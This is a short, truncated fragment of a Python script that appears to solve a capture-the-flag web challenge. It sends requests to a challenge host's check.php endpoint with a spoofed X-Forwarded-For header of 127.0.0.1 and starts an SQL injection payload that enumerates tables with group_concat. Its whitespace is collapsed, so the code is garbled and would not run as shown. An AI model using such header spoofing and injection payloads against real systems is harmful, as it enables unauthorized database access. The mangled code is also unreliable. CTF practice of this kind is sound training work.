# @LastEditTime:2022-11-1710:36:03# @link:https://www.st1ck4r.top'''importrequestsimportbase64 url="http://e460e3b7-ea11-46b9-a14a-6f68788be430.challenge.qsnctf.com:8081/check.php?data="flag=""data=""header={"X-Forwarded-For":"127.0.0.1"}# payload="(select group_concat(tab...